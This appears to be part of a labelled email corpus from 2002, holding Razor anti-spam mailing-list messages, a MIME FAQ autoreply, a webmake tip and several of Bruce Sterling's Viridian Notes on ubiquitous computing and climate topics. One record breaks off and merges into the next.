) On Mon, Aug 19, 2002 at 10:17:26AM -0700, Chad Norwood wrote: ) > The way Razor breaks down mail is simple. If a mail contains MIME ) > boundaries it is split on those boundaries, each MIME part is considered ) > when marking the mail as spam. ) ) This isn't a MIME message that it is breaking down though. The ) message as sent to me is just a regular one part, non-MIME message. ) The contents of the message among other things is a forwarded message ) (inline not as an attachment) that happens to have MIME parts. Based on your description the whole thing would be 1 part. If your mail contains a fwd of a mail *inline* with mime boundaries, then your mail is all consindered to be just text. If you fwd the mail as attachment, the attachment is considered to be a separate part - but the attachment is not broken down further for various reasons as mentioned before on this list. ) > In 2.14, there are different 'logic methods' for detecting spam. ) > The default method 5 requires all non-contention parts to be spam for ) ) I see 1-4 documented in the manpage. 2 looked like a good candidate ) but the manpage states that only 1, 3, and 4 are on by default. No ) mention of method 5 though that I can see. Its in the source code. You should also see 'method 5' in your debug logs. ) > the log files. Feel free to send me the log files if you think ) > there is a bug. ) ) I have to run off to a meeting but I'll send you a copy of the logs ) and the message that triggered as SPAM when I get back. I'll also ) revoke it along with the other 3 similar messages and the Security ) Advisory that were wrongly called SPAM this morning. ok. thanks. -chad ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Mon, 19 Aug 2002 18:42:55 -0400",[Razor-users] Upgraded to Razor 2.14,"I successfully made the leap to Razor 2.14. I did have a bit of trouble with Digest::MD5 on Mandrake 8.1 and Mandrake 8.2. On each platform, I had to reinstall the original version of Digest::MD5 over top of the Digest::MD5 v2.20 that Razor-SDK installed. Otherwise, Perl refused to compile a thing. I should have some effectiveness stats on Razor 2 in a few days. We will see what % of our corporation's spam it detects. Fox ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 UW Email Robot ,webmake-talk ,"Mon, 19 Aug 2002 23:20:42 -0700",[WM] The MIME information you requested (last changed 3154 Feb 14),"-------------------------------------------------------------------------- What is MIME? MIME stands for ""Multipurpose Internet Mail Extensions"". It is the standard for how to send multipart, multimedia, and binary data using the world-wide Internet email system. Typical uses of MIME include sending images, audio, wordprocessing documents, programs, or even plain text files when it is important that the mail system does not modify any part of the file. MIME also allows for labelling message parts so that a recipient (or mail program) may determine what to do with them. How can I read a MIME message? Since MIME is only a few years old, there are still some mailers in use which do not understand MIME messages. However, there are a growing number of mail programs that have MIME support built-in. (One popular MIME-capable mailer for Unix, VMS and PCs is Pine, developed at the University of Washington and available via anonymous FTP from the host ftp.cac.washington.edu in the file /pine/pine.tar.Z) In addition, several proprietary email systems provide MIME translation capability in their Internet gateway products. However, even if you do not have access to a MIME-capable mailer or suitable gateway, there is still hope! There are a number of stand-alone programs that can interpret a MIME message. One of the more versatile is called ""munpack"". It was developed at Carnegie Mellon University and is available via anonymous FTP from the host ftp.andrew.cmu.edu in the directory pub/mpack/. There are versions available for Unix, PC, Mac and Amiga systems. For compabibility with older forms of transferring binary files, the munpack program can also decode messages in split-uuencoded format. Does MIME replace UUENCODE? Yes. UUENCODE has been used for some time for encoding binary files so that they can be sent via Internet mail, but it has several technical limitations and interoperability problems. MIME uses a more robust encoding called ""Base64"" which has been carefully designed to survive the message transformations made by certain email gateways. How can I learn more about MIME? The MIME Internet standard is described in RFC-1521, available via anonymous FTP from many different Internet hosts, including: o US East Coast Address: ds.internic.net (198.49.45.10) o US West Coast Address: ftp.isi.edu (128.9.0.32) o Pacific Rim Address: munnari.oz.au (128.250.1.21) o Europe Address: nic.nordu.net (192.36.148.17) Look for the file /rfc/rfc1521.txt Another source of information is the Internet news group ""comp.mail.mime"", which includes a periodic posting of a ""Frequently Asked Questions"" list. -------------------------------------------------------------------------- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ webmake-talk mailing list webmake-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/webmake-talk",0,1 """Fox"" ",,"Tue, 20 Aug 2002 10:23:52 -0400",Re: [Razor-users] Upgraded to Razor 2.14,"I just want to say - RAZOR v2 ROCKS! Under Razor v1, we were doing good to detect 20% of our spam with Razor. I have only had it running since last night, but it is detecting a whopping 63%! Of course I would like to see that number climb higher eventually, but that is a very big improvement! ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Matt Bernstein ,"Tue, 20 Aug 2002 16:12:51 -0700",Re: [Razor-users] when aggregator?,"On Tue, Aug 20, 2002 at 05:47:54PM +0100, Matt Bernstein wrote: > http://razor.sourceforge.net/docs/whatsnew.html says ""Aggregator will be > released with the next major release of Razor2 agents."" I was told ""soon"" > several months ago--has it stalled, or been released? If the former, can I > grab a development snapshot to test for you? > > Matt The aggregator has been pushed back on the priority list because more important things cropped up. I can't give you an ETA on it, but it's very much on the TODO list. cheers, vipul. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Joe Hester ,webmake-talk@example.sourceforge.net,22 Aug 2002 05:47:14 -0500,[WM] Problem with textarea tags,"I had a problem with extra whitespace being added between textarea tags. Solved the problem by adding textarea to $INLINE_TAGS= list in HTMLCleaner.pm Hope this might help someone else Joe ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ webmake-talk mailing list webmake-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/webmake-talk",0,1 Bruce Sterling ,yyyy@spamassassin.taint.org,22 Jul 2002 15:55:30 -0000,Viridian Note 00324: 911.net,"Key concepts: ubiquitous computation, emergency relief, Khaki Green, 911.net, Terrorspace, Cradle.net, Battlespace, Prosthetic Ubicomp, SO/HO Ubicomp, Safetyspace, Street.net, Punish.net, Industrial Ubicomp, Ubitopia Attention Conservation Notice: It's the Pope-Emperor blue-skying it at some computer industry event in Brussels. Links: I was there. http://www.highgrounddesign.com/design/design.htm And then I went to Brussels and delivered this speech. http://www.ttivanguard.com/ And next I'm going here! http://conferences.oreillynet.com/os2002/ And right after that I'm going to another, weirder event that I can't even tell you about! ------------------------------------------- Entries in the Global Civil Society Design Contest. From: Steven W. Schuldt http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg From: Ben Davis http://www.digitaleverything.com/GlobalComputer.htm From: Joerg F. Wittenberger http://www.askemos.org/ http://www.askemos.org:9080/RomePaper.pdf From: Scott Vandehey http://spaceninja.com/viridian/notebook.html From: Bob Morris http://viridianrepository.com/GlobalCivil/ From: Anonymous http://home.freiepresse.de/befis/zx2000.html http://apollo.spaceports.com/~bodo4all/zx/zx97.htm http://www.vkb.co.il/ From: Jim Thompson http://www.simputer.org http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html From: Mike Rosing http://www.eskimo.com/~eresrch/viridian From: till*tillwe.de (Till Westermayer) Date: Sun Jul 14, 2002 05:38:00 PM US/Central ""What do we need for a global civil society notebook? Six design criteria are highlighted, combined with some rough sketches."" http://www.westermayer.de/till/projekte/02gcsdl.htm Best regards, Till Westermayer - till we *) http://www.westermayer.de/till/index.htm This contest expires August 15, 2002. -------------------------------------------------------- Speech at TTI Vanguard: ""Designing for Resiliency"" Conference ""911.net"" by Bruce Sterling Late last month I had the joy and privilege of hanging out with a big crowd of American computer scientists who were, basically, trying to find some reasons to live. Despite all evidence to the contrary, they've definitely got some reasons. When you go to a conference which is very high-energy, with a lot of paradigmatic reassessment going on, where ideas are being flung around bodily well outside the box, well, that's an impressive thing. But it's my principle as a sometime working journalist not to get all carried away whenever I witness something like that. They might well be drinking their own bathwater. This sort of thing generally requires a reality check from some *other* conference. So, I'm now fresh back from Colorado, from the yearly meeting of the High Ground Design Conversation. These are my best pals in the industrial design world, some dear, long-time friends of mine, whose judgment I always trust. And why would a science fiction writer trust the judgment of industrial designers? Well, because they're very *trendy.* They're very shrewd, and very stylish, and very hands-on people. They're peculiarly self-effacing and modest, yet quite imaginative. Better yet, they're even practical. So they're kind of like science fiction writers, only with much better shoes. Usually when I go to this High Ground event, I just deliver some wacko chat about popular aspects of cyberculture and then I take some worshipful notes. But! I have to report that when I took them my notes from the ""CRA Grand Challenges in Computation"" conference, I was bringing the noise. This is the first time I have ever seen their jaws drop. They're still kinda wringing their hands over the dotcom boom and the Ka-boom. They miss those glory days of the World Wide Web == because for them, that was the Graphic Designers Full Employment Act. So they're pretty broke, and they're a little shell-shocked, so I guess they should join the club. But when I brought them *this* stuff == a rather extensively worked-out vision in worldbuilding from the point of view of ubiquitous computation in the 21st century... Well, of course this is merely a scenario, but to me, ""911.net"" smells like the future. And frankly, it doesn't smell good. But that's all right. Because these aren't good times. These are rather harsh, dark times, and in its own peculiar way, 911.net is a similarly harsh, dark concept. ""Ubiquitous computation"" is by no means a new idea. The guy who invented the term is dead, and even his R&D lab doesn't look all that great these days. Ubicomp has been around for quite some time == in the table-napkin, handwaving stage. But it's lacked the means, motive and opportunity to get any real-world traction. I believe that may be changing. If so, it's mostly due to the events of September 11. After that experience, ubicomp has got motive and opportunity as it never had before. And the means, although they are still speculative, are starting to make some sense. What am I talking about when I use the term ""ubicomp""? Well, the term is a grab-bag, a congelation of different technologies. Some are here, commercially available off the shelf; some are in the lab; and some may be physically impossible. Let's get down to some brass virtual tacks. What are the key technical drivers for widely distributed, self- organizing networks of sensors, processors and actuators, embedded in the physical world? And what do you do with these things? Okay, number one: fuel cells. Not chemical batteries. Small, portable, dependable, long-lasting, power sources with some punch. They may not be fuel cells as they are now known. They might be MEMS fuel cells, or aluminum-air cells, or something enzymatic, I don't care; just something much, much better than today's batteries. Portable power is the crux. Ubicomp's future, if it has one, entirely hinges on this. If we don't get some seriously advanced, portable sources of power then everything I am about to tell you is a sci-fi phantasm. (Not that there's anything wrong with that!) Number two, RFID. Radio-Frequency ID == gotta have some taggers. Gotta be on the Net. It'd be nice if they had some powered processors in them. Something internal, pervasive, a little computational action that is going on inside physical objects. Number three, wireless broadband. Getting real close here. Number four, dongles. I think this part is seriously underappreciated. This is the weird part of ubicomp, the part that may turn out to be its Achilles heel: some way to turn the damn thing off. And to *know* it's off. The problem of the authorized user. The authorized administrator, the authorized access. This is likely to play out as ubicomp's functional equivalent of the Internet's intellectual-property problem. In other words, it's a very serious issue which is going to be neglected from the get-go, as people are eagerly building the basic infrastructure. Then, as they lamely try to build it in later, they are going to find out that they have inadvertently poisoned the water-stream for everybody. You don't want to wander into a Kazaa and Napster version of George Orwell. Ubiquitous computation, unlike information, does not ""want to be free."" This is not a technology of freedom. Ubiquitous computation wants to make you its slave. Try to remember that, for all our sakes, all right? This is not a water-cooler for gossip, like the Internet is. This is a hard-case, hard-times, hands-on, rather ruthless command-and-control system. Number five, GPS, global positioning systems. Been there, done that. Number six, convoy traffic. I think this is also underestimated, for when I started looking at serious applications for ubicomp, time and again, rapidly shipping large amounts of physical material in and out of the ubicomp zone is a killer application. Getting stuff in, numbering it, assembling it, moving it out. Lots of it. Train loads, truck loads, bus loads. And airlifts. Bringing up the van, a whole bunch of other ubi-stuff, of varying degrees of use and practicality. High speed fiber optic networks, check. Massive storage and routers, check. Big databases, check, but they need to be fast and flexible. Some ""MobiHoc"" action: mobile ad-hoc self- assembling networks: networks that are always reconfiguring in real-time, always on the move. Facial recognition has a considerable number of ubicomp applications, by no means all of them good. Human presence-sensing systems? Oh yes. Ruggedized hardware suitable for outdoor deployment in all conditions and weathers. Real-time simulation of ongoing major situations. Toxin detectors of various kinds, environmental monitoring of almost every sort, biometric ID... I have a long list of these. I'm cross-checking them. I'm using them to build scenarios. One thing about 911.net makes it very distinct from earlier visions of ubicomp. This is not Microsoft Windows for Housekeeping. This is a hard, tough web that you throw down fast over dire emergencies. The key concept here is that we are finally moving computation out of the ivory tower, for good and all. No more glass boxes of the 1950s, no more clean abstractions of cyberspace. We are deploying computation at unheard-of speed, into the darkest, dirtiest, most dangerous places in the world. It is a resilient security apparatus for emergencies. That is 911.net. Now, you might well argue that ubicomp is very invasive of privacy. That's just what my industrial design pals said about it, immediately, and they were right. It's been hard to find reasonable deployments for ubicomp in peacetime commerce and in private homes, because it is so Orwellian. However. Under certain circumstances, other social circumstances do trump this issue. For instance, when you are breathing your last under a pile of earthquake rubble, you don't really care much about privacy under your circumstances. What you really want is a smart bulldozer, a tourniquet, and some direct pressure against your open wounds. And that is what 911.net is about == or will be about, should it find its way out of the computer-science talking-shop and into daylight. It is an emergency response system for the planet's open wounds. And those wounds exist in plenty. There are more of them all the time. I rather doubt that the Orwellian version of ubicomp has much of a future. That's a scenario that I have dubbed ""Terrorspace"", which is ubicomp in the context of airports and nuclear power sites. If you've been in airports recently, I believe you are seeing a pretty apt, early version of Terrorspace. At any random moment, you can have your possessions rifled through by strangers. Your shoes are scanned, and various small but vital objects in your pockets can be confiscated by semi- educated security geeks. They're either pathetically under-trained for the job (in which case you certainly feel no safer), or else they are intelligent and capable people (in which case you pity them and wish they had some other job, for the sake of general human happiness and the GNP). Rather than making us any safer, Terrorspace airports serve as political indoctrination centers that humiliate our voting population on a broad scale. They are meant to inure us to ever-escalating levels of governmental clumsiness and general harm. The difficulty with this Terrorspace approach is that airports and airlines are going broke. Airports are hemorrhaging money trying to maintain this terrorspace apparatus. It is likely to spread to the brittle power of nuclear power plants, nuclear waste dumps, bio-sites, chemical sites, liquid petroleum gas centers and so forth. That will hugely increase the overhead of all these dangerous industries. That's a very considerable tax burden. So, though Terrorspace may serve as a full employment program for the loyal and slightly stupid, that's not going to pay off socially or economically in the long run. However, 911.net is a different matter. An air- deployable 911.net that allowed first responders to rapidly deal with fires, floods and other major disasters would *save* money, especially for the insurers, who are already on the ropes. The actual September 11 event, 9/11, was a rare and remarkable thing. And, with fewer than 3,000 people dead, it's just not that big a deal as genuine catastrophes go. Politically, theologically and militarily it was huge, but a workaday 911.net wouldn't fret much about terrorism. Instead, it would have to deal mostly with floods, fires, climate change, earthquakes, volcanoes and (let's hope never) asteroids and weapons of mass destruction. So, basically, with 911.net, we are describing a social re-definition of computer geeks as firemen. Native twenty-first century computer geeks as muscular, with-it, first-responder types. I think this would be pretty good for the computer industry. We all need to take the dysfunctional physical world far more seriously. This week, Italy's flooding, Texas is flooding, Colorado's on fire. This morning, the brand-new wilderness forests around the site of the former Chernobyl are on fire, spewing radioactive ash hither and yon. Chunks of Antarctica the size of Rhode Island have fallen into the sea. I could go on. This is the sort of activity that humanity is required to deal with in this new century. If we build a successful method with which to do this, those useful tactics will spread across the fabric of our civilization. I believe they are already spreading. An innovation like 911.net will likely serve as a camel's nose in the tent for a whole series of ubicomp applications across society. I've been speculating about these new forms of ubicomp, and giving them some flashy neologisms, because that is what science fiction writers bring to the table. We build little scenario worlds and make up names for them. First we've got ""911.net,"" then ""Terrorspace,"" but there are others. BATTLESPACE. A term already much-used by the Pentagon. Battlespace means military C4ISR. The ""Revolution in Military Affairs."" I would point out that the military, unlike some sectors, is not reneging on their enthusiastic commitment to the digital revolution. On the contrary. I haven't seen anybody in the military saying that they long to go back to the good-old-fashioned, solid, easy-to- understand methods of the War in Vietnam. The military are very into ""network-centric warfare,"" and they couldn't be happier about their spysats and surveillance drones. PROSTHETIC UBICOMP. This is eldercare. A huge, steadily growing market. Alzheimer's disease is a flat-out domestic catastrophe that lasts seven years. Any computational help here == in elder-proofing spaces, tracking the sick and so forth == would be of huge benefit to society. CRADLE.NET. Babies have no privacy. Children have little privacy. Child-proofing a room against a crawling tot... if you've ever done this, you can realize how much use it might be to have this process automated. Any two-year-old always wonders: ""Why can't Mr Fork and Miss Wall Socket be friends?"" A real-time checklist, at the very least! And then we're faced with the interesting, large-scale prospects of ""K-12.net."" STREET.NET. This would be traffic management and urban systems management. Water networks, power networks, subways, sidewalks and so forth. PUNISH.NET. Two million people are in the American prison population. They've got no privacy. They've gotta be watched all the time. They're basically crammed in iron cages now. INDUSTRIAL UBICOMP. Managing supply chains, industrial assembly and so forth. This will eventually be the biggest application. SO/HO UBICOMP. Ubicomp in the home, the home office and small office. Some very interesting consumer uses here, but in the grand scheme of things, not that big a deal. SAFETYSPACE. These would be military bases, U.N. safety zones, refugee camps, and disaster evacuation centers. It's fairly easy to imagine ubiquitous computation as a sinister ""gated community"" that walls off privileged areas under threat. But we can also think of it as importing some human comfort, solidarity, mercy and safety into various benighted areas that are severely disturbed. One can imagine a Gorazde UN safe zone version of this, new and improved of course: a black helicopter ghosts over in the dead of night, deploys a scattering of small drones, smart-mines and sensors, and suddenly the war just stops within these bounds of Safetyspace. Rapine, looting, sacking, smashing and burning are ruled out of existence through computer awareness. The handiness of a technique like that for life in the 21st century... well, it might be a bit underestimated. And last, coming up with a bullet should the good times return in all their carefree glory: UBITOPIA. This I take to be ubicomp as an Urban Entertainment Destination. You go there for fun just because there is cool, wacky stuff embedded in the physical world, and it's behaving in a way that brings joy and hilarity and good spirits, like the funhouse mirror at a digital carnival. When and if Ubitopia really hits, it will mean that humanity's basic relationship with our material goods has been radically redefined. That is the apotheosis of ubiquitous computation. Just: material goods, and the way we deal with them, are different. Different in character, different in quality. Not recognizable by 20th century standards. So. I have no idea if the Homeland Security department, or FEMA or DARPA or the NSF, are going to pony up any money for any of these notions. That's not my lookout. I'm a science fiction writer. And ladies and gentlemen, with this material, I have struck platinum. This stuff is really hot. This is a great, attractive, contemporary idea that is really new, really different, and really ominous. The implications are huge and they spread across the board of society. I am going to be a very busy guy with this material. If you want to help me, send some email. Thanks a lot for your attention. O=c=O O=c=O O=c=O IT'S HERE IT'S THERE IT'S EVERYWHERE O=c=O O=c=O O=c=O",0,1 Bruce Sterling ,yyyy@spamassassin.taint.org,6 Aug 2002 22:40:55 -0000,Viridian Note 00326: Air-Conditioned Tokyo,"Key concepts: Tokyo, urban overheating, climate change remediation Attention Conservation Notice: a weird, hand-waving Nipponese mega-scheme. Links: http://http://www.viridiandesign.org/products/furniture.htm From:Laurence Aurbach Subject:Viridian Furniture List The Viridian Furniture List is now online in the ""Recommended Products"" section of the Viridian website. David Bergman did a yeoman-like job assembling this list and adding comments. He's also mirroring the list on his own furniture site, Fire and Water. http://cyberg.com/fw/ecofurn.htm Maybe you'll find a woven bamboo buffet or a biopolymer mesh coffee table. == L.J. Aurbach --------------------------------------------------- Entries in the Global Civil Society Design Contest. From: Steven W. Schuldt http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg From: Ben Davis http://www.digitaleverything.com/GlobalComputer.htm From: Joerg F. Wittenberger http://www.askemos.org/ http://www.askemos.org:9080/RomePaper.pdf From: Scott Vandehey http://spaceninja.com/viridian/notebook.html From: Bob Morris http://viridianrepository.com/GlobalCivil/ From: Anonymous http://home.freiepresse.de/befis/zx2000.html http://apollo.spaceports.com/~bodo4all/zx/zx97.htm http://www.vkb.co.il/ From: Jim Thompson http://www.simputer.org http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html From: Mike Rosing http://www.eskimo.com/~eresrch/viridian From: Till Westermayer http://www.westermayer.de/till/projekte/02gcsdl.htm From:Duncan Stewart http://www.stewarts.org/viridian/GCS From: R. Charles Flickinger http://homepage.mac.com/iHUG/GCS2000.html From:""Kevin Prichard"" ""I nominate Rop Gonggrijp's Secure Notebook, which was shown recently at H2K2. (http://www.h2k2.net). http://www.nah6.com/ http://www.nah6.com/nah6-h2k2_files/v3_document.html ""The premise is both important and hilarious. The Secure Notebook provides a Secure Windows XP installation. Windows has a long history of being secure neither from attack nor privacy incursion, so this is something. ""Nothing gets in and nothing gets out, without it being firewalled, filtered, proxied, and encrypted. How is this done? A modified Debian Linux boots first, running custom NAH6 crypto device drivers, and then boots XP within vmware."" Sincerely yours, Kevin Prichard kevin*indymedia.org This contest expires in nine days: August 15, 2002. ---------------------------------------------------- Source: Planet Ark http://www.planetark.org/dailynewsstory.cfm/newsid/17160/story.htm ""Cooler Tokyo summers may be just a pipe dream away by Elaine Lies JAPAN: August 5, 2002 ""TOKYO == In what could be the ultimate in public works projects, a Japanese panel of experts has proposed relieving the misery of steamy Tokyo summers by cooling the huge city with sea water and a labyrinth of underground pipes. ""Though summers are hard in any city, Tokyo's narrow streets, hordes of people and clusters of massive skyscrapers, largely unrelieved by greenery, produce a special brand of discomfort. ""And it gets worse every year. (((Oh yeah. You bet it does.))) The number of nights when temperatures stay above 25 Celsius (77 Fahrenheit) in Tokyo has doubled over the last 30 years, while average temperatures have shot up by 2.9 degrees C over the last century. Relief, however distant, could be on the way. (((""Great news, weather sufferers! We live in the high-tech capital of a G-7 state!""))) ""At the behest of the Construction Ministry, the panel has drawn up a plan that would use a network of buried pipes, and water pumped from the sea, to cool things down. 'In the very best conditions, certain areas could in theory become as much as 2.6 degrees Celsius cooler,' said Yujin Minobe, a ministry planner. ""The huge air-conditioning systems currently used to cool buildings get rid of the heat they take out of the structure by venting it into the outside air, raising temperatures still further and creating a 'heat island' phenomenon in large cities. (((Soon whole *cities* will do it and vent their heat straight into the rising seas! Look out, Antarctica.))) ""Under the plan, this heat would be transferred to water in large underground tanks, and the water then pumped through a six-km (3.7-mile) network of underground pipes to a cooling plant on the Tokyo waterfront. ""There the heat from this water would be transferred to cooler sea water before the then-cooled water was pumped back through the underground pipes. The sea water, now warmed, would be released into the waters of Tokyo Bay. ""COSTLY PLAN. (((That's unsurprising.))) Minobe said the plan would cover some 123 hectares (304 acres) in the centre of Tokyo, including the Marunouchi business district and the posh Ginza shopping area, and would initially cost around 41 billion yen ($344 million). ""'Savings on reduced energy usage would eventually help pay for this,' he said. (((A real nest of ironies here, folks.))) Officials quoted in the English-language Japan Times said energy savings would total more than 1 billion yen a year, meaning the system would pay for itself in a bit over 30 years. ""However, Minobe said many problems remained with the plan, which has only been under discussion since April last year. One of the most serious problems is whether warmer water being returned to Tokyo Bay would damage the fragile marine ecosystem, a point Minobe said still required more study. (((Give it 30 years and there won't be any ecosystem left to study.))) ""He said the average temperature cut is likely to be only around 0.4 degrees. 'I'm not even sure people would be able to feel that difference,' he said. Any such plan, however, would likely produce a gleam in the eyes of Japan's huge construction industry, known for its propensity for public works projects. Although several are decried as wasteful, public works projects have long been used by the government in attempts to stimulate the economy. (((Nice use of the word ""attempts.""))) ""Frankly, I think this plan is still really more of a dream than anything else,"" Minobe said. O=c=O O=c=O O=c=O O=c=O TOKYO STAYS COOL AS DEADLY HEATWAVE BAKES KOBE, OSAKA, KYOTO O=c=O O=c=O O=c=O O=c=O",0,1 Bruce Sterling ,yyyy@spamassassin.taint.org,11 Aug 2002 17:48:43 -0000,Viridian Note 00328: Fuel from CO2,"Key concepts: Nakamichi Yamasaki, hydrocarbon generation, carbon dioxide, industrial chemistry Attention Conservation Notice: Yet another weird Nipponese scheme, about some miracle gizmo that runs on pollution Links: Tornados in Britain? Maybe it really is the 51st State. http://www.thesun.co.uk/article/0,,2-2002362050,00.html Newfangled suntan pill alleged to have peculiar side- effects. http://timesofindia.indiatimes.com/articleshow.asp?art_id=18672487 See all those really bright places? Well, that's where the Greenhouse comes from. http://www3.cosmiverse.com/news/earthobservatory/0802/images/land_ocean_ice_lights_080602_1bi g.jpg The West Nile plague has reached Austin. http://www.planetark.org/dailynewsstory.cfm/newsid/17239/story.htm --------------------------------------------------- Entries in the Global Civil Society Design Contest. From: Steven W. Schuldt http://www.americanrobotz.com/images2/Soon_GlobalCivilSocietyLaptop.jpg From: Ben Davis http://www.digitaleverything.com/GlobalComputer.htm From: Joerg F. Wittenberger http://www.askemos.org/ http://www.askemos.org:9080/RomePaper.pdf From: Scott Vandehey http://spaceninja.com/viridian/notebook.html From: Bob Morris http://viridianrepository.com/GlobalCivil/ From: Anonymous http://home.freiepresse.de/befis/zx2000.html http://apollo.spaceports.com/~bodo4all/zx/zx97.htm http://www.vkb.co.il/ From: Jim Thompson http://www.simputer.org http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html From: Mike Rosing http://www.eskimo.com/~eresrch/viridian From: Till Westermayer http://www.westermayer.de/till/projekte/02gcsdl.htm From:Duncan Stewart http://www.stewarts.org/viridian/GCS From: R. Charles Flickinger http://homepage.mac.com/iHUG/GCS2000.html From: Kevin Prichard http://www.nah6.com/ http://www.nah6.com/nah6-h2k2_files/v3_document.html From: Dave Phelan ,yyyy@spamassassin.taint.org,18 Aug 2002 03:18:50 -0000,Viridian Note 00330: Ocean Bugs,"Key concepts: microbes, methane, Black Sea, Big Mike the Viridian Bug Attention Conservation Notice: Continues the Viridian obsession with ecologically active micro-organisms. Links: GM to give away thousands of electric vehicles - USA http://www.planetark.org/dailynewsstory.cfm/newsid/17318/story.htm Sinking Pacific states slam US over sea levels - FIJI http://www.planetark.org/dailynewsstory.cfm/newsid/17316/story.htm Famished Australian emus invade drought-hit farms - AUSTRALIA http://www.planetark.org/dailynewsstory.cfm/newsid/17330/story.htm --------------------------------------------------- Entries in the Global Civil Society Design Contest. From: Steven W. Schuldt http://www.americanrobotz.com/images2/Soon_GlobalCivilSoci etyLaptop.jpg From: Ben Davis http://www.digitaleverything.com/GlobalComputer.htm From: Joerg F. Wittenberger http://www.askemos.org/ http://www.askemos.org:9080/RomePaper.pdf From: Scott Vandehey http://spaceninja.com/viridian/notebook.html From: Bob Morris http://viridianrepository.com/GlobalCivil/ From: Anonymous http://home.freiepresse.de/befis/zx2000.html http://apollo.spaceports.com/~bodo4all/zx/zx97.htm http://www.vkb.co.il/ From: Jim Thompson http://www.simputer.org http://www.cnn.com/2002/TECH/ptech/07/05/india.simputer.reut/index.html From: Mike Rosing http://www.eskimo.com/~eresrch/viridian From: Till Westermayer http://www.westermayer.de/till/projekte/02gcsdl.htm From:Duncan Stewart http://www.stewarts.org/viridian/GCS From: R. Charles Flickinger http://homepage.mac.com/iHUG/GCS2000.html From: Kevin Prichard http://www.nah6.com/ http://www.nah6.com/nah6-h2k2_files/v3_document.html From: Dave Phelan http://www.nv2.cc.va.us/home/alwhite2/flotsam1.htm From: John Romans http://www.panicfire.net/cryptoviridian.htm From: ""Allen Wong"" http://www.fieldsync.com/viridian/ From: ""Joel Westerberg"" ""Here's my contest entry. Cheers."" http://www.unsafe.nu/bigmike/global.PDF From: ""Chris McCormick"" ""Hi, I hope i'm not too late!"" http://mccormick.cx/viridian/ ""Regards, Chris."" http://www.mccormick.cx http://www.sciencegirlrecords.com From: ""adrian cotter"" ""As usual I'm cutting the deadline close... But I've honestly been thinking about this one for a good month. If only I had one of these, my life would be better."" http://www.nonsensical.com/viridian/notebook/ From: ""jg"" ""Emperor Bruce, here it is."" http://solarpc.com/contest.htm From: Kevin Prichard Subject: link to Kevin Prichard's own global civ design entry http://prichard.org/viridian_globcivsoc.html This contest has now expired. A winner will be announced at the discretion of our judge. ---------------------------------------------------- Source: http://www.planetark.org/dailynewsstory.cfm/newsid/17250/story.htm ""Germans discover ancient life, offer climate hope"" by Philip Blenkinsop GERMANY: August 12, 2002 ""BERLIN == German scientists have discovered micro- organisms deep under the sea that may provide an insight into some of the earth's first lifeforms and offer hope in the fight against global warming, the Max Planck Society said. ""The marine biologists and geologists believe they have shown life could have existed by processing methane without the presence of oxygen. ""Their findings could also prove useful in ridding the earth of excess methane, one of the greenhouse gases many scientists believe is responsible for global warming. ""Traditional views of early life on earth centre on plants which converted carbon dioxide to oxygen. ""'These (plant lifeforms) date back to between three and 3.5 billion years ago... We have found biomass (large cluster of organisms) using methane that geologists show could have existed around four billion years ago,' Professor Antje Boetius, joint author of the study, told Reuters. Link: Yes, she exists. Dr. Antje does more than exist. She gives some kinda publicity shot. Dang! http://www.mpi-bremen.de/deutsch/biogeo/aboetius/aboetius.html http://www.iu-bremen.de/directory/faculty/01063/ ""The two-year research by the scientists from Hamburg University, the Alfred Wegener Institute in northern Bremerhaven and the Max Planck Society centred on coral-forming micro-organisms in the Black Sea at depths where no oxygen and no light is present. ""The Black Sea contains the largest oxygen-free basin in the world. ""The lifeforms were able to process methane together with sulphates within the water, producing carbonates, in the form of coral, as waste. (((Black, oxygen-free ""coral"". I wonder what that stuff looks like. Maybe you could make jewelry out of it.))) ""That they were able to do so without oxygen suggests they may have been around before plant life. ""'Perhaps micro-organisms like those found in the Black Sea were the original inhabitants of the earth during a long period of the earth's history,' said Boetius. (((Yeah, they've just been sitting down there, waiting to save our bacon.))) ""She believes the findings could prove useful for climate control. ""Previously, scientists had thought that methane, found in abundance in the sea and produced through agriculture, could only be broken down with oxygen. ""The German researchers believe the discovery of a pool of organisms that process methane without oxygen could lead to a way of cutting down potentially harmful greenhouse gases without burning oxygen and producing similarly damaging carbon dioxide. (((What do they *smell* like?))) ""'It could be a way of hindering climate catastrophe,'"" Boetius said. O=c=O O=c=O O=c=O BY ALL MEANS LET'S HINDER SOME CATASTROPHE O=c=O O=c=O O=c=O",0,1 Rodent of Unusual Size 